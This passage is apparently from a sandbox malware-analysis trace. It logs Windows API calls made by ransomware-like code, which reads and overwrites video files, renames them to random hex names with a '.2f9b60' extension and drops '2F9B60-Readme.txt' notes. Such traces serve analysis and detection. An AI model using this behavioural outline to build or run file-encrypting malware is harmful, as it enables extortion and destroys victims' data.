(in: _Dest=0x1cd9f302, _Format="%c%c" | out: _Dest="51") returned 2 [0094.128] sprintf (in: _Dest=0x1cd9f304, _Format="%c%c" | out: _Dest="ea") returned 2 [0094.128] sprintf (in: _Dest=0x1cd9f306, _Format="%c%c" | out: _Dest="7d") returned 2 [0094.128] sprintf (in: _Dest=0x1cd9f308, _Format="%c%c" | out: _Dest="d1") returned 2 [0094.128] sprintf (in: _Dest=0x1cd9f30a, _Format="%c%c" | out: _Dest="23") returned 2 [0094.128] sprintf (in: _Dest=0x1cd9f30c, _Format="%c%c" | out: _Dest="e8") returned 2 [0094.128] sprintf (in: _Dest=0x1cd9f30e, _Format="%c%c" | out: _Dest="7a") returned 2 [0094.128] sprintf (in: _Dest=0x1cd9f310, _Format="%c%c" | out: _Dest="24") returned 2 [0094.128] sprintf (in: _Dest=0x1cd9f312, _Format="%c%c" | out: _Dest="5f") returned 2 [0094.128] sprintf (in: _Dest=0x1cd9f314, _Format="%c%c" | out: _Dest="8b") returned 2 [0094.128] sprintf (in: _Dest=0x1cd9f316, _Format="%c%c" | out: _Dest="21") returned 2 [0094.128] sprintf (in: _Dest=0x1cd9f318, _Format="%c%c" | out: _Dest="2e") returned 2 [0094.128] sprintf (in: _Dest=0x1cd9f31a, _Format="%c%c" | out: _Dest="1a") returned 2 [0094.128] sprintf (in: _Dest=0x1cd9f31c, _Format="%c%c" | out: _Dest="90") returned 2 [0094.129] sprintf (in: _Dest=0x1cd9f31e, _Format="%c%c" | out: _Dest="6b") returned 2 [0094.129] RtlInitAnsiString (in: DestinationString=0x24e8fac8, SourceString="6f608ef01c4224cac551ea7dd123e87a245f8b212e1a906b" | out: DestinationString="6f608ef01c4224cac551ea7dd123e87a245f8b212e1a906b") [0094.129] RtlAnsiStringToUnicodeString (in: DestinationString=0x24e8fa98, SourceString="6f608ef01c4224cac551ea7dd123e87a245f8b212e1a906b", AllocateDestinationString=1 | out: DestinationString="6f608ef01c4224cac551ea7dd123e87a245f8b212e1a906b") returned 0x0 [0094.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86eb80 [0094.129] wcscat (in: _Dest=0x1b866340, _Source="6f608ef01c42" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6f608ef01c42") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6f608ef01c42" [0094.129] wcscat (in: _Dest=0x1b866340, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6f608ef01c42.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6f608ef01c42.2f9b60" [0094.129] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6f608ef01c42.2f9b60", NtPathName=0x24e8fa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6f608ef01c42.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0094.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad5c0 [0094.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0094.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0094.131] NtQueryInformationFile (in: FileHandle=0xdac, IoStatusBlock=0x24e8fad8, FileInformation=0x24e8fae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24e8fad8, FileInformation=0x24e8fae8) returned 0x0 [0094.131] NtSetInformationFile (FileHandle=0xdac, IoStatusBlock=0x24e8fad8, FileInformation=0x24e8fae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0094.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0094.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86eb80) returned 1 [0094.133] FlushFileBuffers (hFile=0xdac) returned 1 [0094.134] CloseHandle (hObject=0xdac) returned 1 [0094.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866340 [0094.135] wcscpy (in: _Dest=0x1b866340, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0094.135] wcscat (in: _Dest=0x1b866340, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" [0094.135] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2f9b60-readme.txt")) returned 0xffffffff [0094.135] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xdac [0094.136] WriteFile (in: hFile=0xdac, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x24e8f990, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x24e8f990*=0xba9, lpOverlapped=0x0) returned 1 [0094.137] CloseHandle (hObject=0xdac) returned 1 [0094.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0094.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2130) returned 1 Thread: id = 557 os_tid = 0xe78 [0094.140] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\262o5_LkH.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\262o5_lkh.flv")) returned 0x20 [0094.140] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\262o5_LkH.flv", dwFileAttributes=0x20) returned 1 [0094.140] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\262o5_LkH.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\262o5_lkh.flv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdac [0094.140] GetFileSizeEx (in: hFile=0xdac, lpFileSize=0x24faf6a0 | out: lpFileSize=0x24faf6a0*=25435) returned 1 [0094.140] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x6357, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.140] ReadFile (in: hFile=0xdac, lpBuffer=0x24faf620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24faf668, lpOverlapped=0x0 | out: lpBuffer=0x24faf620*, lpNumberOfBytesRead=0x24faf668*=0x4, lpOverlapped=0x0) returned 1 [0094.141] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a9c0 [0094.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a600 [0094.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a810 [0094.142] NtQuerySystemTime (in: CurrentTime=0x24faf560 | out: CurrentTime=0x24faf560*=132462176999722000) returned 0x0 [0094.142] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x4e115fb4 [0094.142] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x72ea8551 [0094.142] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x4f689713 [0094.142] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x4ce36912 [0094.142] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x5d704866 [0094.142] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x2450d7d2 [0094.142] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x34d42c3c [0094.142] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x1f92a0c6 [0094.142] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x654ba892 [0094.142] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x4bb018b0 [0094.142] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x62bf7b43 [0094.142] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x248eaf07 [0094.142] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x6fc29ea9 [0094.142] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x48328e21 [0094.142] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x525ffcaa [0094.143] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x202909e3 [0094.143] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x1d54f326 [0094.143] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x3c4d4113 [0094.143] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x3f9ea682 [0094.143] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x1f2e2e09 [0094.143] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x2e3089ce [0094.143] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0xe895500 [0094.143] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x2bca6be [0094.143] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x1144f7f7 [0094.143] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x11620337 [0094.143] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x38a238d5 [0094.143] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x797178ab [0094.143] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x4edbcf90 [0094.143] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x1d2f37c9 [0094.143] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x138bf137 [0094.143] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x6f2183 [0094.143] RtlRandomEx (in: Seed=0x24faf550 | out: Seed=0x24faf550) returned 0x6c472a9e [0094.157] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.157] ReadFile (in: hFile=0xdac, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x24faf5c0, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x24faf5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.157] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866340 [0094.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a9c0 [0094.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a9c0) returned 1 [0094.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0094.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a9c0 [0094.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a810 [0094.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a810) returned 1 [0094.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0094.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.158] WriteFile (in: hFile=0xdac, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x24faf5c0, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x24faf5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0094.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b82a810 [0094.161] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0094.161] WriteFile (in: hFile=0xdac, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x24faf670, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x24faf670*=0x10c, lpOverlapped=0x0) returned 1 [0094.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866340 [0094.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1a0 [0094.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b1a0) returned 1 [0094.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82b1a0 [0094.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b650 [0094.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aab0 [0094.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aab0) returned 1 [0094.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0094.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f2f0 [0094.163] sprintf (in: _Dest=0x1cd9f2f0, _Format="%c%c" | out: _Dest="b4") returned 2 [0094.163] sprintf (in: _Dest=0x1cd9f2f2, _Format="%c%c" | out: _Dest="4d") returned 2 [0094.163] sprintf (in: _Dest=0x1cd9f2f4, _Format="%c%c" | out: _Dest="f5") returned 2 [0094.163] sprintf (in: _Dest=0x1cd9f2f6, _Format="%c%c" | out: _Dest="d2") returned 2 [0094.163] sprintf (in: _Dest=0x1cd9f2f8, _Format="%c%c" | out: _Dest="dc") returned 2 [0094.163] sprintf (in: _Dest=0x1cd9f2fa, _Format="%c%c" | out: _Dest="42") returned 2 [0094.164] sprintf (in: _Dest=0x1cd9f2fc, _Format="%c%c" | out: _Dest="75") returned 2 [0094.164] sprintf (in: _Dest=0x1cd9f2fe, _Format="%c%c" | out: _Dest="87") returned 2 [0094.164] sprintf (in: _Dest=0x1cd9f300, _Format="%c%c" | out: _Dest="bc") returned 2 [0094.164] sprintf (in: _Dest=0x1cd9f302, _Format="%c%c" | out: _Dest="35") returned 2 [0094.164] sprintf (in: _Dest=0x1cd9f304, _Format="%c%c" | out: _Dest="b5") returned 2 [0094.164] sprintf (in: _Dest=0x1cd9f306, _Format="%c%c" | out: _Dest="d3") returned 2 [0094.164] sprintf (in: _Dest=0x1cd9f308, _Format="%c%c" | out: _Dest="86") returned 2 [0094.164] sprintf (in: _Dest=0x1cd9f30a, _Format="%c%c" | out: _Dest="10") returned 2 [0094.164] sprintf (in: _Dest=0x1cd9f30c, _Format="%c%c" | out: _Dest="e9") returned 2 [0094.164] sprintf (in: _Dest=0x1cd9f30e, _Format="%c%c" | out: _Dest="ff") returned 2 [0094.164] sprintf (in: _Dest=0x1cd9f310, _Format="%c%c" | out: _Dest="26") returned 2 [0094.164] sprintf (in: _Dest=0x1cd9f312, _Format="%c%c" | out: _Dest="6f") returned 2 [0094.164] sprintf (in: _Dest=0x1cd9f314, _Format="%c%c" | out: _Dest="0b") returned 2 [0094.164] sprintf (in: _Dest=0x1cd9f316, _Format="%c%c" | out: _Dest="9c") returned 2 [0094.164] sprintf (in: _Dest=0x1cd9f318, _Format="%c%c" | out: _Dest="52") returned 2 [0094.164] sprintf (in: _Dest=0x1cd9f31a, _Format="%c%c" | out: _Dest="05") returned 2 [0094.165] sprintf (in: _Dest=0x1cd9f31c, _Format="%c%c" | out: _Dest="d2") returned 2 [0094.165] sprintf (in: _Dest=0x1cd9f31e, _Format="%c%c" | out: _Dest="37") returned 2 [0094.165] sprintf (in: _Dest=0x1cd9f320, _Format="%c%c" | out: _Dest="36") returned 2 [0094.165] sprintf (in: _Dest=0x1cd9f322, _Format="%c%c" | out: _Dest="65") returned 2 [0094.165] RtlInitAnsiString (in: DestinationString=0x24faf6e8, SourceString="b44df5d2dc427587bc35b5d38610e9ff266f0b9c5205d2373665" | out: DestinationString="b44df5d2dc427587bc35b5d38610e9ff266f0b9c5205d2373665") [0094.165] RtlAnsiStringToUnicodeString (in: DestinationString=0x24faf6b8, SourceString="b44df5d2dc427587bc35b5d38610e9ff266f0b9c5205d2373665", AllocateDestinationString=1 | out: DestinationString="b44df5d2dc427587bc35b5d38610e9ff266f0b9c5205d2373665") returned 0x0 [0094.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b866840 [0094.165] wcscat (in: _Dest=0x1b866340, _Source="b44df5d2dc427" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b44df5d2dc427") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b44df5d2dc427" [0094.165] wcscat (in: _Dest=0x1b866340, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b44df5d2dc427.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b44df5d2dc427.2f9b60" [0094.165] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b44df5d2dc427.2f9b60", NtPathName=0x24faf690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b44df5d2dc427.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0094.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1b7ad5c0 [0094.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0094.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0094.166] NtQueryInformationFile (in: FileHandle=0xdac, IoStatusBlock=0x24faf6f8, FileInformation=0x24faf708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24faf6f8, FileInformation=0x24faf708) returned 0x0 [0094.167] NtSetInformationFile (FileHandle=0xdac, IoStatusBlock=0x24faf6f8, FileInformation=0x24faf708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0094.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0094.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0094.169] FlushFileBuffers (hFile=0xdac) returned 1 [0094.170] CloseHandle (hObject=0xdac) returned 1 [0094.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866840 [0094.171] wcscpy (in: _Dest=0x1b866840, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0094.171] wcscat (in: _Dest=0x1b866840, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" [0094.171] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2f9b60-readme.txt")) returned 0x20 [0094.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0094.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86edb0) returned 1 Thread: id = 558 os_tid = 0xe7c [0094.181] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\43T44Z5gN8s.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\43t44z5gn8s.flv")) returned 0x20 [0094.181] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\43T44Z5gN8s.flv", dwFileAttributes=0x20) returned 1 [0094.182] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\43T44Z5gN8s.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\43t44z5gn8s.flv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdac [0094.182] GetFileSizeEx (in: hFile=0xdac, lpFileSize=0x250df880 | out: lpFileSize=0x250df880*=14737) returned 1 [0094.182] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x398d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.182] ReadFile (in: hFile=0xdac, lpBuffer=0x250df800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x250df848, lpOverlapped=0x0 | out: lpBuffer=0x250df800*, lpNumberOfBytesRead=0x250df848*=0x4, lpOverlapped=0x0) returned 1 [0094.183] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0094.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0094.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fac0 [0094.183] NtQuerySystemTime (in: CurrentTime=0x250df740 | out: CurrentTime=0x250df740*=132462177000190000) returned 0x0 [0094.183] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x3d1d4dc9 [0094.184] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x4458ebe5 [0094.184] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x74c4d996 [0094.184] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x783938e0 [0094.184] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x748b6798 [0094.184] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x2d7c5a12 [0094.184] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x18029c75 [0094.184] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x756e6d28 [0094.184] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x767247ae [0094.184] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x6d907ae1 [0094.184] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x3c6ba223 [0094.184] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x6a7e740c [0094.184] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x51d179a6 [0094.184] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x4e32b703 [0094.184] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x76512a1f [0094.184] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x3844b234 [0094.184] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x774a6a77 [0094.184] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x72ae139d [0094.184] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x1ed0f61e [0094.184] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x7a5805c1 [0094.184] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x26491f1f [0094.184] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x1ebe0ced [0094.184] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x2b295140 [0094.184] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0xf4b900c [0094.184] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x40964f41 [0094.184] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x3abbddc3 [0094.184] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x5b82c213 [0094.185] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x6df7b140 [0094.185] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x26693b6b [0094.185] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x543e8fee [0094.185] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x3e3c52e3 [0094.185] RtlRandomEx (in: Seed=0x250df730 | out: Seed=0x250df730) returned 0x4049cb6a [0094.196] ReadFile (in: hFile=0xdac, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3991, lpNumberOfBytesRead=0x250df730, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x250df730*=0x3991, lpOverlapped=0x0) returned 1 [0094.197] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.197] WriteFile (in: hFile=0xdac, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3991, lpNumberOfBytesWritten=0x250df734, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x250df734*=0x3991, lpOverlapped=0x0) returned 1 [0094.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0094.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fac0 [0094.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fac0) returned 1 [0094.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0094.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0094.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9f2f0 [0094.199] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0094.199] WriteFile (in: hFile=0xdac, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x250df850, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, 